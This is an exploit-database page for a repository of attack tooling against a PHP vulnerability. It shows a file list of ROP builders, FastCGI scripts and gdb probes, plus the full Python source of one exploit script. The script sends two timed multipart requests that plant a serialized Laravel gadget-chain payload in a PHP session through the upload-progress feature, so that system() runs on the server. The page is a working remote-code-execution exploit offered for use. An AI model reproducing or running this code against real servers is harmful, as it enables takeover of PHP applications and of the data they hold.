Exploit databaseDownload repository ZIP
GH-66de9c47d5f25e7b812c73adbbdac2cb
iliaal/php2shell
Sources for CVE-2026-109618
413 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files84
iliaal/php2shellRevision 8ba2035341c5
- ↑..Parent directory
- payload/
- README.md
- affinity_probe.py
- chain_a.py
- chain_a_stall.py
- chain_c.py
- chain_c_stall.py
- chain_e.py
- chain_e2.py
- chain_e3.py
- fcgi_dreclaim.py
- fcgi_ini.py
- fcgi_post.py
- fcgi_raw.py
- fcgi_split.py
- http_deliver.py
- leak_probe.sh
- mk_a_payload.py
- mk_destruct_a.py
- mk_fakeref_b.py
- mk_native_fill.py
- mk_rop_fill.py
- mk_rop_pivot.py
- nginx-8511.conf
- nginx-aff-keepalive.conf
- nginx-aff-stock.conf
- nginx-bc-stock.conf
- nginx-default.conf
- nginx-pivot.conf
- nginx-pivot4.conf
- nginx.conf
- php-preload.ini
- php-preload2.ini
- pin_fcgi.py
- probe-8426.gdb
- probe-addr.gdb
- probe-alloc.gdb
- probe-bt.gdb
- probe-chunks.gdb
- probe-data.gdb
- probe-dreclaim.gdb
- probe-dreclaim5.gdb
- probe-fakeref.gdb
- probe-fire.gdb
- probe-fire2.gdb
- probe-fire3.gdb
- probe-fire4.gdb
- probe-ht.gdb
- probe-noframe.gdb
- probe-norm.gdb
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
fpm/chain_e3.py
Python · 2,417 bytes#!/usr/bin/env python3
"""Laravel RCE22 (PendingBroadcast + CommonMark Environment) via the pre-RINIT
handler-mismatch path. The serialized object comes from phpggc; the preloaded
Composer autoloader resolves the classes during the pre-RINIT session decode;
PendingBroadcast::__destruct then dispatches through the environment and reaches
system() at the read request's shutdown.
Usage: chain_e3.py <port> [payload-file]
"""
import os
import socket
import sys
import time
port = int(sys.argv[1]) if len(sys.argv) > 1 else 9001
payload_file = sys.argv[2] if len(sys.argv) > 2 else "/tmp/laravel.payload"
payload = open(payload_file, "rb").read().strip()
sid = "laravele" + "".join("%02x" % b for b in os.urandom(10))
progress = b"x|" + payload
boundary = b"----chainL"
prefix = (
b"--" + boundary + b"\r\n"
b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\n'
+ progress + b"\r\n"
b"--" + boundary + b"\r\n"
b'Content-Disposition: form-data; name="f"; filename="t"\r\n'
b"Content-Type: application/octet-stream\r\n\r\n"
b"Z" * 64
)
total = len(prefix) + 200000
w = socket.create_connection(("127.0.0.1", port), timeout=10)
w.sendall(
b"POST /chainW/up.php HTTP/1.1\r\nHost: 127.0.0.1\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + boundary + b"\r\n"
b"Content-Length: " + str(total).encode() + b"\r\n"
b"Connection: close\r\n\r\n" + prefix
)
time.sleep(0.8)
body = (
b"--" + boundary + b"\r\n"
b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nx\r\n'
b"--" + boundary + b"\r\n"
b'Content-Disposition: form-data; name="g"; filename="u"\r\n\r\nZ\r\n'
b"--" + boundary + b"--\r\n"
)
r = socket.create_connection(("127.0.0.1", port), timeout=10)
r.sendall(
b"POST /chainR/plain.php HTTP/1.1\r\nHost: 127.0.0.1\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + boundary + b"\r\n"
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
b"Connection: close\r\n\r\n" + body
)
resp = b""
try:
while True:
c = r.recv(65536)
if not c:
break
resp += c
except socket.timeout:
pass
r.close()
w.close()
head, _, out = resp.partition(b"\r\n\r\n")
print(head.split(b"\r\n", 1)[0].decode("latin-1"))
print(out.decode("latin-1", "replace"))